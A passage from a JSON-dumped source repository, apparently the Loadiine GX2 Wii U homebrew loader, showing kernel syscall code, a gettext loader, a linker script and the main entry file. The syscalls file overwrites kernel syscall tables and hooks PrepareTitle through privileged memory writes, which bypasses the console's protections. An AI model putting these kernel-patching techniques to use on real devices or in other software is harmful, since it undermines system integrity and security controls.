    "content": "#include \"common/os_defs.h\"\n#include \"common/kernel_defs.h\"\n#include \"common/common.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"utils/utils.h\"\n#include \"syscalls.h\"\n\nextern void my_PrepareTitle_hook(void);\n\nstatic unsigned int origPrepareTitleInstr __attribute__((section(\".data\"))) = 0;\n\nstatic void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)\n{\n    /*\n     * Setup a DBAT access with cache inhibited to write through and read directly from memory\n     */\n    unsigned int dbatu0, dbatl0, dbatu1, dbatl1;\n    // save the original DBAT value\n    asm volatile(\"mfdbatu %0, 0\" : \"=r\" (dbatu0));\n    asm volatile(\"mfdbatl %0, 0\" : \"=r\" (dbatl0));\n    asm volatile(\"mfdbatu %0, 1\" : \"=r\" (dbatu1));\n    asm volatile(\"mfdbatl %0, 1\" : \"=r\" (dbatl1));\n\n    unsigned int target_dbatu0 = 0;\n    unsigned int target_dbatl0 = 0;\n    unsigned int target_dbatu1 = 0;\n    unsigned int target_dbatl1 = 0;\n\n    unsigned char *dst_p = (unsigned char*)addr;\n    unsigned char *src_p = (unsigned char*)src;\n\n    // we only need DBAT modification for addresses out of our own DBAT range\n    // as our own DBAT is available everywhere for user and supervisor\n    // since our own DBAT is on DBAT5 position we don't collide here\n    if(addr < 0x00800000 || addr >= 0x01000000)\n    {\n        target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F;\n        target_dbatl0 = (addr & 0xFFF00000) | 0x32;\n        asm volatile(\"mtdbatu 0, %0\" : : \"r\" (target_dbatu0));\n        asm volatile(\"mtdbatl 0, %0\" : : \"r\" (target_dbatl0));\n        dst_p = (unsigned char*)((addr & 0xFFFFFF) | 0xC0000000);\n    }\n    if(src < 0x00800000 || src >= 0x01000000)\n    {\n        target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F;\n        target_dbatl1 = (src & 0xFFF00000) | 0x32;\n\n        asm volatile(\"mtdbatu 1, %0\" : : \"r\" (target_dbatu1));\n        asm volatile(\"mtdbatl 1, %0\" : : \"r\" (target_dbatl1));\n        src_p = (unsigned char*)((src & 0xFFFFFF) | 0xB0000000);\n    }\n\n    asm volatile(\"eieio; isync\");\n\n    unsigned int i;\n    for(i = 0; i < len; i++)\n    {\n        // if we are on the edge to next chunk\n        if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000)))\n        {\n            target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F;\n            target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32;\n            dst_p = (unsigned char*)(((addr + i) & 0xFFFFFF) | 0xC0000000);\n\n            asm volatile(\"eieio; isync\");\n            asm volatile(\"mtdbatu 0, %0\" : : \"r\" (target_dbatu0));\n            asm volatile(\"mtdbatl 0, %0\" : : \"r\" (target_dbatl0));\n            asm volatile(\"eieio; isync\");\n        }\n        if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000)))\n        {\n            target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F;\n            target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32;\n            src_p = (unsigned char*)(((src + i) & 0xFFFFFF) | 0xB0000000);\n\n            asm volatile(\"eieio; isync\");\n            asm volatile(\"mtdbatu 1, %0\" : : \"r\" (target_dbatu1));\n            asm volatile(\"mtdbatl 1, %0\" : : \"r\" (target_dbatl1));\n            asm volatile(\"eieio; isync\");\n        }\n\n        *dst_p = *src_p;\n\n        ++dst_p;\n        ++src_p;\n    }\n\n    /*\n     * Restore original DBAT value\n     */\n    asm volatile(\"eieio; isync\");\n    asm volatile(\"mtdbatu 0, %0\" : : \"r\" (dbatu0));\n    asm volatile(\"mtdbatl 0, %0\" : : \"r\" (dbatl0));\n    asm volatile(\"mtdbatu 1, %0\" : : \"r\" (dbatu1));\n    asm volatile(\"mtdbatl 1, %0\" : : \"r\" (dbatl1));\n    asm volatile(\"eieio; isync\");\n}\n\nstatic void KernelReadDBATs(bat_table_t * table)\n{\n    u32 i = 0;\n\n    asm volatile(\"eieio; isync\");\n\n    asm volatile(\"mfspr %0, 536\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 537\" : \"=r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mfspr %0, 538\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 539\" : \"=r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mfspr %0, 540\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 541\" : \"=r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mfspr %0, 542\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 543\" : \"=r\" (table->bat[i].l));\n    i++;\n\n    asm volatile(\"mfspr %0, 568\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 569\" : \"=r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mfspr %0, 570\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 571\" : \"=r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mfspr %0, 572\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 573\" : \"=r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mfspr %0, 574\" : \"=r\" (table->bat[i].h));\n    asm volatile(\"mfspr %0, 575\" : \"=r\" (table->bat[i].l));\n}\n\nstatic void KernelWriteDBATs(bat_table_t * table)\n{\n    u32 i = 0;\n\n    asm volatile(\"eieio; isync\");\n\n    asm volatile(\"mtspr 536, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 537, %0\" : : \"r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mtspr 538, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 539, %0\" : : \"r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mtspr 540, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 541, %0\" : : \"r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mtspr 542, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 543, %0\" : : \"r\" (table->bat[i].l));\n    i++;\n\n    asm volatile(\"mtspr 568, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 569, %0\" : : \"r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mtspr 570, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 571, %0\" : : \"r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mtspr 572, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 573, %0\" : : \"r\" (table->bat[i].l));\n    i++;\n    asm volatile(\"mtspr 574, %0\" : : \"r\" (table->bat[i].h));\n    asm volatile(\"mtspr 575, %0\" : : \"r\" (table->bat[i].l));\n\n    asm volatile(\"eieio; isync\");\n}\n\n/* Read a 32-bit word with kernel permissions */\nuint32_t __attribute__ ((noinline)) kern_read(const void *addr)\n{\n\tuint32_t result;\n\tasm volatile (\n\t\t\"li 3,1\\n\"\n\t\t\"li 4,0\\n\"\n\t\t\"li 5,0\\n\"\n\t\t\"li 6,0\\n\"\n\t\t\"li 7,0\\n\"\n\t\t\"lis 8,1\\n\"\n\t\t\"mr 9,%1\\n\"\n\t\t\"li 0,0x3400\\n\"\n\t\t\"mr %0,1\\n\"\n\t\t\"sc\\n\"\n\t\t\"nop\\n\"\n\t\t\"mr 1,%0\\n\"\n\t\t\"mr %0,3\\n\"\n\t\t:\t\"=r\"(result)\n\t\t:\t\"b\"(addr)\n\t\t:\t\"memory\", \"ctr\", \"lr\", \"0\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\",\n\t\t\t\"11\", \"12\"\n\t);\n\n\treturn result;\n}\n\n/* Write a 32-bit word with kernel permissions */\nvoid __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)\n{\n\tasm volatile (\n\t\t\"li 3,1\\n\"\n\t\t\"li 4,0\\n\"\n\t\t\"mr 5,%1\\n\"\n\t\t\"li 6,0\\n\"\n\t\t\"li 7,0\\n\"\n\t\t\"lis 8,1\\n\"\n\t\t\"mr 9,%0\\n\"\n\t\t\"mr %1,1\\n\"\n\t\t\"li 0,0x3500\\n\"\n\t\t\"sc\\n\"\n\t\t\"nop\\n\"\n\t\t\"mr 1,%1\\n\"\n\t\t:\n\t\t:\t\"r\"(addr), \"r\"(value)\n\t\t:\t\"memory\", \"ctr\", \"lr\", \"0\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\",\n\t\t\t\"11\", \"12\"\n\t\t);\n}\n\nvoid KernelSetupSyscalls(void)\n{\n    //! assign 1 so that this variable gets into the retained .data section\n    static uint8_t ucSyscallsSetupRequired = 1;\n    if(!ucSyscallsSetupRequired)\n        return;\n\n    ucSyscallsSetupRequired = 0;\n\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x36 * 4)), (unsigned int)KernelReadDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x36 * 4)), (unsigned int)KernelReadDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x36 * 4)), (unsigned int)KernelReadDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x36 * 4)), (unsigned int)KernelReadDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x36 * 4)), (unsigned int)KernelReadDBATs);\n\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x37 * 4)), (unsigned int)KernelWriteDBATs);\n\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData);\n    kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData);\n\n    //! write our hook to the\n    u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003;\n    DCFlushRange(&addr_my_PrepareTitle_hook, sizeof(addr_my_PrepareTitle_hook));\n\n    SC0x25_KernelCopyData((u32)&origPrepareTitleInstr, (u32)addr_PrepareTitle_hook, 4);\n    SC0x25_KernelCopyData((u32)addr_PrepareTitle_hook, (u32)OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4);\n}\n\n\nvoid KernelRestoreInstructions(void)\n{\n    if(origPrepareTitleInstr != 0)\n        SC0x25_KernelCopyData((u32)addr_PrepareTitle_hook, (u32)&origPrepareTitleInstr, 4);\n}\n"
  },
  {
    "path": "src/kernel/syscalls.h",
    "content": "#ifndef __SYSCALLS_H_\n#define __SYSCALLS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <gctypes.h>\n#include \"common/kernel_defs.h\"\n\nvoid KernelSetupSyscalls(void);\nvoid KernelRestoreInstructions(void);\n\nvoid SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);\nvoid SC0x36_KernelReadDBATs(bat_table_t * table);\nvoid SC0x37_KernelWriteDBATs(bat_table_t * table);\n\nuint32_t __attribute__ ((noinline)) kern_read(const void *addr);\nvoid __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __KERNEL_FUNCTIONS_H_\n"
  },
  {
    "path": "src/kernel/syscalls_asm.S",
    "content": "# Syscalls for kernel that we use\n\n     .globl SC0x36_KernelReadDBATs\nSC0x36_KernelReadDBATs:\n    li r0, 0x3600\n    sc\n    blr\n\n     .globl SC0x37_KernelWriteDBATs\nSC0x37_KernelWriteDBATs:\n    li r0, 0x3700\n    sc\n    blr\n\n     .globl SC0x25_KernelCopyData\nSC0x25_KernelCopyData:\n    li r0, 0x2500\n    sc\n    blr\n"
  },
  {
    "path": "src/language/gettext.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <stdlib.h>\n#include <string.h>\n#include <stdio.h>\n#include <gctypes.h>\n#include <string>\n#include <vector>\n#include \"gettext.h\"\n#include \"fs/CFile.hpp\"\n#include \"utils/StringTools.h\"\n\ntypedef struct _MSG\n{\n\tu32 id;\n\tchar* msgstr;\n\tstruct _MSG *next;\n} MSG;\nstatic MSG *baseMSG = 0;\n\n#define HASHWORDBITS 32\n\n/* Defines the so called `hashpjw' function by P.J. Weinberger\n [see Aho/Sethi/Ullman, COMPILERS: Principles, Techniques and Tools,\n 1986, 1987 Bell Telephone Laboratories, Inc.]  */\nstatic inline u32 hash_string(const char *str_param)\n{\n\tu32 hval, g;\n\tconst char *str = str_param;\n\n\t/* Compute the hash value for the given string.  */\n\thval = 0;\n\twhile (*str != '\\0')\n\t{\n\t\thval <<= 4;\n\t\thval += (u8) *str++;\n\t\tg = hval & ((u32) 0xf << (HASHWORDBITS - 4));\n\t\tif (g != 0)\n\t\t{\n\t\t\thval ^= g >> (HASHWORDBITS - 8);\n\t\t\thval ^= g;\n\t\t}\n\t}\n\treturn hval;\n}\n\n/* Expand some escape sequences found in the argument string.  */\nstatic char *\nexpand_escape(const char *str)\n{\n\tchar *retval, *rp;\n\tconst char *cp = str;\n\n\tretval = (char *) malloc(strlen(str) + 1);\n\tif (retval == NULL) return NULL;\n\trp = retval;\n\n\twhile (cp[0] != '\\0' && cp[0] != '\\\\')\n\t\t*rp++ = *cp++;\n\tif (cp[0] == '\\0') goto terminate;\n\tdo\n\t{\n\n\t\t/* Here cp[0] == '\\\\'.  */\n\t\tswitch (*++cp)\n\t\t{\n\t\t\tcase '\\\"': /* \" */\n\t\t\t\t*rp++ = '\\\"';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase 'a': /* alert */\n\t\t\t\t*rp++ = '\\a';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase 'b': /* backspace */\n\t\t\t\t*rp++ = '\\b';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase 'f': /* form feed */\n\t\t\t\t*rp++ = '\\f';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase 'n': /* new line */\n\t\t\t\t*rp++ = '\\n';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase 'r': /* carriage return */\n\t\t\t\t*rp++ = '\\r';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase 't': /* horizontal tab */\n\t\t\t\t*rp++ = '\\t';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase 'v': /* vertical tab */\n\t\t\t\t*rp++ = '\\v';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase '\\\\':\n\t\t\t\t*rp = '\\\\';\n\t\t\t\t++cp;\n\t\t\t\tbreak;\n\t\t\tcase '0':\n\t\t\tcase '1':\n\t\t\tcase '2':\n\t\t\tcase '3':\n\t\t\tcase '4':\n\t\t\tcase '5':\n\t\t\tcase '6':\n\t\t\tcase '7':\n\t\t\t{\n\t\t\t\tint ch = *cp++ - '0';\n\n\t\t\t\tif (*cp >= '0' && *cp <= '7')\n\t\t\t\t{\n\t\t\t\t\tch *= 8;\n\t\t\t\t\tch += *cp++ - '0';\n\n\t\t\t\t\tif (*cp >= '0' && *cp <= '7')\n\t\t\t\t\t{\n\t\t\t\t\t\tch *= 8;\n\t\t\t\t\t\tch += *cp++ - '0';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t*rp = ch;\n\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t*rp = '\\\\';\n\t\t\t\tbreak;\n\t\t}\n\n\t\twhile (cp[0] != '\\0' && cp[0] != '\\\\')\n\t\t\t*rp++ = *cp++;\n\t} while (cp[0] != '\\0');\n\n\t/* Terminate string.  */\n\tterminate: *rp = '\\0';\n\treturn retval;\n}\n\nstatic MSG *findMSG(u32 id)\n{\n\tMSG *msg;\n\tfor (msg = baseMSG; msg; msg = msg->next)\n\t{\n\t\tif (msg->id == id) return msg;\n\t}\n\treturn NULL;\n}\n\nstatic MSG *setMSG(const char *msgid, const char *msgstr)\n{\n\tu32 id = hash_string(msgid);\n\tMSG *msg = findMSG(id);\n\tif (!msg)\n\t{\n\t\tmsg = (MSG *) malloc(sizeof(MSG));\n\t\tmsg->id = id;\n\t\tmsg->msgstr = NULL;\n\t\tmsg->next = baseMSG;\n\t\tbaseMSG = msg;\n\t}\n\tif (msg)\n\t{\n\t\tif (msgstr)\n\t\t{\n\t\t\tif (msg->msgstr) free(msg->msgstr);\n\t\t\t//msg->msgstr = strdup(msgstr);\n\t\t\tmsg->msgstr = expand_escape(msgstr);\n\t\t}\n\t\treturn msg;\n\t}\n\treturn NULL;\n}\n\nextern \"C\" void gettextCleanUp(void)\n{\n\twhile (baseMSG)\n\t{\n\t\tMSG *nextMsg = baseMSG->next;\n\t\tfree(baseMSG->msgstr);\n\t\tfree(baseMSG);\n\t\tbaseMSG = nextMsg;\n\t}\n}\n\nextern \"C\" bool gettextLoadLanguage(const char* langFile)\n{\n\tchar *lastID = NULL;\n\tgettextCleanUp();\n\n\tCFile file(langFile, CFile::ReadOnly);\n\tif (!file.isOpen())\n        return false;\n\n    std::string strBuffer;\n    strBuffer.resize(file.size());\n    file.read((u8 *) &strBuffer[0], strBuffer.size());\n    file.close();\n\n    //! remove all windows crap signs\n    size_t position;\n    while(1)\n    {\n        position = strBuffer.find('\\r');\n        if(position == std::string::npos)\n            break;\n\n        strBuffer.erase(position, 1);\n    }\n\n\tstd::vector<std::string> lines = stringSplit(strBuffer, \"\\n\");\n\n\n\tif(lines.empty())\n\t\treturn false;\n\n\tfor(unsigned int i = 0; i < lines.size(); i++)\n\t{\n\t    std::string & line = lines[i];\n\t\t// lines starting with # are comments\n\t\tif (line[0] == '#')\n\t\t\tcontinue;\n\t\telse if (strncmp(line.c_str(), \"msgid \\\"\", 7) == 0)\n\t\t{\n\t\t\tchar *msgid, *end;\n\t\t\tif (lastID)\n\t\t\t{\n\t\t\t\tfree(lastID);\n\t\t\t\tlastID = NULL;\n\t\t\t}\n\t\t\tmsgid = &line[7];\n\t\t\tend = strrchr(msgid, '\"');\n\t\t\tif (end && end - msgid > 1)\n\t\t\t{\n\t\t\t\t*end = 0;\n\t\t\t\tlastID = strdup(msgid);\n\t\t\t}\n\t\t}\n\t\telse if (strncmp(line.c_str(), \"msgstr \\\"\", 8) == 0)\n\t\t{\n\t\t\tchar *msgstr, *end;\n\n\t\t\tif (lastID == NULL) continue;\n\n\t\t\tmsgstr = &line[8];\n\t\t\tend = strrchr(msgstr, '\"');\n\t\t\tif (end && end - msgstr > 1)\n\t\t\t{\n\t\t\t\t*end = 0;\n\t\t\t\tsetMSG(lastID, msgstr);\n\t\t\t}\n\t\t\tfree(lastID);\n\t\t\tlastID = NULL;\n\t\t}\n\n\t}\n\treturn true;\n}\n\nextern \"C\" const char *gettext(const char *msgid)\n{\n\tif(!msgid) return NULL;\n\tMSG *msg = findMSG(hash_string(msgid));\n\tif (msg && msg->msgstr) return msg->msgstr;\n\treturn msgid;\n}\n\n"
  },
  {
    "path": "src/language/gettext.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _GETTEXT_H_\n#define _GETTEXT_H_\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\n\tbool gettextLoadLanguage(const char* langFile);\n\tvoid gettextCleanUp(void);\n\t/*\n\t * input msg = a text in ASCII\n\t * output = the translated msg in utf-8\n\t */\n\tconst char *gettext(const char *msg);\n#define tr(s) gettext(s)\n#define trNOOP(s)   s\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _GETTEXT_H_ */\n"
  },
  {
    "path": "src/link.ld",
    "content": "OUTPUT(loadiine.elf);\n\n/* Tell linker where our application entry is so the garbage collect can work correct */\nENTRY(__entry_menu);\n\nSECTIONS {\n\t. = 0x00802000;\n\t.text : {\n\t\t*(.kernel_code*);\n\t\t*(.text*);\n\t\t/* Tell linker to not garbage collect this section as it is not referenced anywhere */\n\t\tKEEP(*(.kernel_code*));\n\t}\n\t.rodata : {\n\t\t*(.rodata*);\n\t}\n\t.data : {\n\t\t*(.data*);\n\t\t\n\t\t__sdata_start = .;\n\t\t*(.sdata*);\n\t\t__sdata_end = .;\n\t\t\n\t\t__sdata2_start = .;\n\t\t*(.sdata2*);\n\t\t__sdata2_end = .;\n\t}\n\t.bss : {\n\t\t__bss_start = .;\n\t\t*(.bss*);\n\t\t*(.sbss*);\n\t\t*(COMMON);\n\t\t__bss_end = .;\n\t}\n\t__CODE_END = .;\n\t\n\t/DISCARD/ : {\n\t\t*(*);\n\t}\n}\n\n/******************************************************** FS ********************************************************/\n/* coreinit.rpl difference in addresses 0xFE3C00 */\n"
  },
  {
    "path": "src/main.cpp",
    "content": "//#include <string>\n#include \"Application.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/fs_functions.h\"\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"dynamic_libs/sys_functions.h\"\n#include \"dynamic_libs/vpad_functions.h\"\n#include \"dynamic_libs/padscore_functions.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"dynamic_libs/curl_functions.h\"\n#include \"dynamic_libs/ax_functions.h\"\n#include \"patcher/fs_patcher.h\"\n#include \"patcher/fs_sd_patcher.h\"\n#include \"patcher/rplrpx_patcher.h\"\n#include \"patcher/extra_log_patcher.h\"\n#include \"patcher/hid_controller_function_patcher.h\"\n#include \"patcher/aoc_patcher.h\"\n#include \"controller_patcher/ControllerPatcher.hpp\"\n#include \"fs/fs_utils.h\"\n#include \"fs/sd_fat_devoptab.h\"\n#include \"kernel/kernel_functions.h\"\n#include \"settings/CSettings.h\"\n#include \"system/exception_handler.h\"\n#include \"system/memory.h\"\n#include \"utils/strings.h\"\n#include \"utils/logger.h\"\n#include \"utils/utils.h\"\n#include \"utils/xml.h\"\n#include \"common/common.h\"\n#include \"main.h\"\n\n/* Entry point */\nextern \"C\" int Menu_Main(void)\n{\n    //!*******************************************************************\n    //!                   Initialize function pointers                   *\n    //!*******************************************************************\n    //! do OS (for acquire) and sockets first so we got logging\n    InitOSFunctionPointers();\n    InitSocketFunctionPointers();\n\n    log_init();\n    DEBUG_FUNCTION_LINE(\"Starting Loadiine GX2 \" LOADIINE_VERSION \"\\n\");\n\n    InitFSFunctionPointers();\n    InitGX2FunctionPointers();\n    InitSysFunctionPointers();\n    InitVPadFunctionPointers();\n    InitPadScoreFunctionPointers();\n    InitAXFunctionPointers();\n    InitCurlFunctionPointers();\n\n    InitAocFunctionPointers();\n    InitACPFunctionPointers();\n\n    DEBUG_FUNCTION_LINE(\"Function exports loaded\\n\");\n\n    //!*******************************************************************\n    //!                Initialize our kernel variables                   *\n    //!*******************************************************************\n    DEBUG_FUNCTION_LINE(\"Setup kernel variables\\n\");\n    SetupKernelCallback();\n    //!*******************************************************************\n    //!                    Initialize heap memory                        *\n    //!*******************************************************************\n    DEBUG_FUNCTION_LINE(\"Initialize memory management\\n\");\n    memoryInitialize();\n\n    //!*******************************************************************\n    //!                        Initialize FS                             *\n    //!*******************************************************************\n    DEBUG_FUNCTION_LINE(\"Mount SD partition\\n\");\n    mount_sd_fat(\"sd\");\n\n    //!*******************************************************************\n    //!                       Patch Functions                            *\n    //!*******************************************************************\n    DEBUG_FUNCTION_LINE(\"Patch FS and loader functions\\n\");\n    ApplyPatches();\n    PatchSDK();\n\n    //!*******************************************************************\n    //!                    Setup exception handler                       *\n    //!*******************************************************************\n    DEBUG_FUNCTION_LINE(\"Setup exception handler\\n\");\n    setup_os_exceptions();\n\n    //!*******************************************************************\n    //!                    Enter main application                        *\n    //!*******************************************************************\n    DEBUG_FUNCTION_LINE(\"Start main application\\n\");\n    Application::instance()->exec();\n    DEBUG_FUNCTION_LINE(\"Main application stopped\\n\");\n\n    Application::destroyInstance();\n\n    DEBUG_FUNCTION_LINE(\"Unmount SD\\n\");\n    unmount_sd_fat(\"sd\");\n    DEBUG_FUNCTION_LINE(\"Release memory\\n\");\n    memoryRelease();\n    DEBUG_FUNCTION_LINE(\"Loadiine peace out...\\n\");\n    //log_deinit();\n\n    return 0;\n}\n\nvoid ApplyPatches(){\n    DEBUG_FUNCTION_LINE(\"Patching FS functions\\n\");\n    PatchInvidualMethodHooks(method_hooks_fs,                   method_hooks_size_fs,               method_calls_fs);\n    DEBUG_FUNCTION_LINE(\"Patching functions for AOC support\\n\");\n    PatchInvidualMethodHooks(method_hooks_aoc,                  method_hooks_size_aoc,              method_calls_aoc);\n    DEBUG_FUNCTION_LINE(\"Patching more FS functions (SD)\\n\");\n    PatchInvidualMethodHooks(method_hooks_fs_sd,                method_hooks_size_fs_sd,            method_calls_fs_sd);\n    DEBUG_FUNCTION_LINE(\"Patching functions for RPX/RPL loading\\n\");\n    PatchInvidualMethodHooks(method_hooks_rplrpx,               method_hooks_size_rplrpx,           method_calls_rplrpx);\n    DEBUG_FUNCTION_LINE(\"Patching extra log functions\\n\");\n    PatchInvidualMethodHooks(method_hooks_extra_log,            method_hooks_size_extra_log,        method_calls_extra_log);\n    DEBUG_FUNCTION_LINE(\"Patching controller_patcher (HID to VPAD)\\n\");\n    PatchInvidualMethodHooks(method_hooks_hid_controller,       method_hooks_size_hid_controller,   method_calls_hid_controller);\n}\n\nvoid RestoreAllInstructions(){\n    DEBUG_FUNCTION_LINE(\"Restoring FS functions\\n\");\n    RestoreInvidualInstructions(method_hooks_fs,                method_hooks_size_fs);\n    DEBUG_FUNCTION_LINE(\"Restoring functions for AOC support\\n\");\n    RestoreInvidualInstructions(method_hooks_aoc,               method_hooks_size_aoc);\n    DEBUG_FUNCTION_LINE(\"Restoring more FS functions (SD)\\n\");\n    RestoreInvidualInstructions(method_hooks_fs_sd,             method_hooks_size_fs_sd);\n    DEBUG_FUNCTION_LINE(\"Restoring functions for RPX/RPL loading\\n\");\n    RestoreInvidualInstructions(method_hooks_rplrpx,            method_hooks_size_rplrpx);\n    DEBUG_FUNCTION_LINE(\"Restoring extra log functions\\n\");\n    RestoreInvidualInstructions(method_hooks_extra_log,         method_hooks_size_extra_log);\n    DEBUG_FUNCTION_LINE(\"Restoring controller_patcher (HID to VPAD)\\n\");\n    RestoreInvidualInstructions(method_hooks_hid_controller,    method_hooks_size_hid_controller);\n}\n"
  },
  {
    "path": "src/main.h",
    "content": "#ifndef _MAIN_H_\n#define _MAIN_H_\n\n#include \"common/types.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/fs_defs.h\"\n\n/* General defines */\n#define MAX_GAME_COUNT      255\n#define MAX_GAME_ON_PAGE    11\n\n/* Main */\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n//! C wrapper for out C++ functions\nint Menu_Main(void);\nvoid ApplyPatches(void);\nvoid RestoreAllInstructions(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "src/menu/ButtonChoiceMenu.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"ButtonChoiceMenu.h\"\n#include \"utils/StringTools.h\"\n#include \"KeyPadMenu.h\"\n\nButtonChoiceMenu::ButtonChoiceMenu(int w, int 